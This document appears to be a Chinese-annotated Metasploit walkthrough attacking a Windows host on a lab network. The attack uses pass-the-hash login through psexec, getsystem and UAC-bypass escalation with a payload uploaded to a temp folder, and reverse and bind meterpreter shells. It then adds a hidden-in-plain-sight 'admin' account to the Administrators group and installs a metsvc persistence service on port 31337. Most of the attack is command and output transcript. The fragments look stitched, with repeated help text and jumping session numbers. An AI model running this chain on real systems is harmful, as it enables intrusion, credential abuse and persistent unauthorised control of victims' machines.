-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list"command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list"command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to.
meterpreter > portfwd list
Active Port Forwards ====================
Index Local Remote Direction ----- ----- ------ --------- 1 0.0.0.0:8888 192.168.85.135:3389 Forward
Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as
Exploit target:
Id Name -- ---- 0 Automatic
msf exploit(windows/smb/psexec) > set rhost 192.168.85.135 rhost => 192.168.85.135
msf exploit(windows/smb/psexec) > set smbuser admin smbuser => admin
msf exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 smbpass => aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634
msf exploit(windows/smb/psexec) > exploit
<li> Started reverse TCP handler on 192.168.85.159:4444 <li> 192.168.85.135:445 - Connecting to the server... <li> 192.168.85.135:445 - Authenticating to 192.168.85.135:445 as user 'admin'... ... meterpreter >
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner. -t <opt> The technique to use. (Default to '0'). 0 : All techniques available 1 : Named Pipe Impersonation (In Memory/Admin) 2 : Named Pipe Impersonation (Dropper/Admin) 3 : Token Duplication (In Memory/Admin)
meterpreter > getsystem # 提权:失败 [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin)
meterpreter > getsystem -t 1 # 提权:失败 [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin)
meterpreter > getsystem -t 2 # 提权:失败 [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Named Pipe Impersonation (Dropper/Admin)
meterpreter > getsystem -t 3 # 提权:失败 [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Token Duplication (In Memory/Admin)
meterpreter > getsystem -t 3 # 提权:失败 [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Token Duplication (In Memory/Admin)
Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x86/windows ADMIN-PC\zhangsan @ ADMIN-PC 192.168.85.158:6666 -> 192.168.85.135:49594 (192.168.85.135)
[-] Handler failed to bind to 192.168.85.158:4444:- - [-] Handler failed to bind to 0.0.0.0:4444:- - <li> UAC is Enabled, checking level... [+] Part of Administrators group! Continuing... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... <li> Targeting Computer Managment via HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} ... <li> Uploading payload to C:\Users\zhangsan\AppData\Local\Temp\CMresjGh.dll ... <li> Executing high integrity process ... <li> Sending stage (179779 bytes) to 192.168.85.135 <li> Meterpreter session 3 opened (192.168.85.158:4444 -> 192.168.85.135:49608) at 2018-03-24 21:46:54 +0800 # 发现开启了一个session <li> Cleaining up registry ... <li> Exploit completed, but no session was created.
meterpreter > shell # 进入目标的shell命令 Process 4880 created. Channel 2 created. Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>chcp 65001 # 修改终端的代码页为utf-8,即65001,避免乱码 chcp 65001 Active code page: 65001
C:\Windows\system32>net user # 查看当前存在的用户 net user
User accounts for \\
------------------------------------------------------------------------------- Administrator Guest zhangsan The command completed with one or more errors.
C:\Windows\system32>net user admin admin /add # 添加用户,用户名、密码均为admin net user admin admin /add The command completed successfully.
C:\Windows\system32>net localgroup administrators admin /add # 将用户admin添加到超管administrators组 net localgroup administrators admin /add The command completed successfully.
C:\Windows\system32>net user admin # 查看用户admin的相关信息,发现属于administrators组 net user admin User name admin Full Name Comment User's comment Country code 000 (System Default) Account active Yes Account expires Never Password last set 2018/3/24 22:29:56 Password expires 2018/5/5 22:29:56 Password changeable 2018/3/24 22:29:56 Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships *Administrators *Users # 属于administrators组 Global Group memberships *None The command completed successfully. C:\Windows\system32>exit # 退出shell,返回到meterpreter界面 exit meterpreter > background # 将meterpreter放入后台,准备进入msf使用rdesktop远程桌面 <li> Backgrounding session 7... msf exploit(windows/local/bypassuac_injection) > sessions -l # 查看当前会话列表 Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 7 meterpreter x86/windows NT AUTHORITY\SYSTEM @ ADMIN-PC 192.168.85.158:4444 -> 192.168.85.135:49622 (192.168.85.135) msf exploit(windows/local/bypassuac_injection) > sessions -i 7 # 与会话7进行交互 <li> Starting interaction with 7... meterpreter > ifconfig # 查看IP Interface 11 ============ Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:50:56:24:01:f8 MTU : 1500 IPv4 Address : 192.168.85.135 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::75d8:f29b:5b86:a540 IPv6 Netmask : ffff:ffff:ffff:ffff:: meterpreter > background # 将meterpreter放入后台,准备进入msf界面,使用linux命令rdesktop远程桌面 <li> Backgrounding session 7... msf exploit(windows/local/bypassuac_injection) > rdesktop 192.168.85.135 -u admin -p admin #使用rdesktop远程桌面连接,用户名、密码都为admin ....
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...] <li> Creating a meterpreter service on port 31337 <li> Creating a temporary installation directory C:\Users\zhangsan\AppData\Local\Temp\CgfTLDlgpSXpA... <li> >> Uploading metsrv.x86.dll... <li> >> Uploading metsvc-server.exe... <li> >> Uploading metsvc.exe... <li> Starting the service... * Installing service metsvc * Starting service Service metsvc successfully installed.
<li> Trying to connect to the Meterpreter service at 192.168.85.135:31337... meterpreter > <li> Meterpreter session 6 opened (192.168.85.159:44823 -> 192.168.85.135:31337) at 2018-03-27 21:37:58 +0800
msf exploit(multi/handler) > set payload windows/metsvc_bind_tcp payload => windows/metsvc_bind_tcp
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description ---- --------------- -------- -----------
Payload options (windows/metsvc_bind_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 6666 yes The listen port RHOST 192.168.85.135 no The target address